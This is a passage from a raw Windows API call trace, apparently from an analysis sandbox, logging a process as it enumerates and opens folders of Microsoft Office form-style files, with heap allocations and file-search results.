cAlternateFileName="")) returned 1 [0077.561] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.561] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.561] GetLastError () returned 0x12 [0077.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0077.561] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0077.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0077.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.562] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd77, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0077.562] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x715, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maroon.css", cAlternateFileName="")) returned 1 [0077.562] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis", cAlternateFileName="")) returned 1 [0077.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.562] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0077.564] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0077.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xaca490 [0077.564] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xaca490, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xaca490, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0077.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaca490) returned 1 [0077.564] NtClose (Handle=0x168) returned 0x0 [0077.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0077.565] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0077.565] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0077.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0077.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf860 [0077.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a3a20 [0077.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.566] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf880 [0077.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a3b28 [0077.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.566] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf8a0 [0077.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a3c30 [0077.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.567] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.567] GetLastError () returned 0x12 [0077.567] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0077.567] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0077.567] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.567] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0077.567] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.567] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.567] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.567] GetLastError () returned 0x12 [0077.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0077.567] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0077.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0077.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.568] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0077.568] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74f, dwReserved0=0x0, dwReserved1=0x0, cFileName="OliveGreen.css", cAlternateFileName="")) returned 1 [0077.568] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x705, dwReserved0=0x0, dwReserved1=0x0, cFileName="Premium.css", cAlternateFileName="")) returned 1 [0077.568] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x366, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTF_BOLD.GIF", cAlternateFileName="")) returned 1 [0077.568] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79023600, ftCreationTime.dwHighDateTime=0x1ca2b70, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79023600, ftLastWriteTime.dwHighDateTime=0x1ca2b70, nFileSizeHigh=0x0, nFileSizeLow=0x37a, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosefont.gif", cAlternateFileName="")) returned 1 [0077.568] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_italic.gif", cAlternateFileName="")) returned 1 [0077.568] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60dfe600, ftCreationTime.dwHighDateTime=0x1ca2b73, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x60dfe600, ftLastWriteTime.dwHighDateTime=0x1ca2b73, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_spellcheck.gif", cAlternateFileName="")) returned 1 [0077.568] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_underline.gif", cAlternateFileName="")) returned 1 [0077.568] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate", cAlternateFileName="")) returned 1 [0077.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0077.571] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0077.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xaca490 [0077.571] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xaca490, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xaca490, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0077.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaca490) returned 1 [0077.572] NtClose (Handle=0x178) returned 0x0 [0077.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0077.572] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0077.572] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.572] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0077.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf8c0 [0077.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a3d38 [0077.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.573] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf8e0 [0077.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a3e40 [0077.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.573] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, 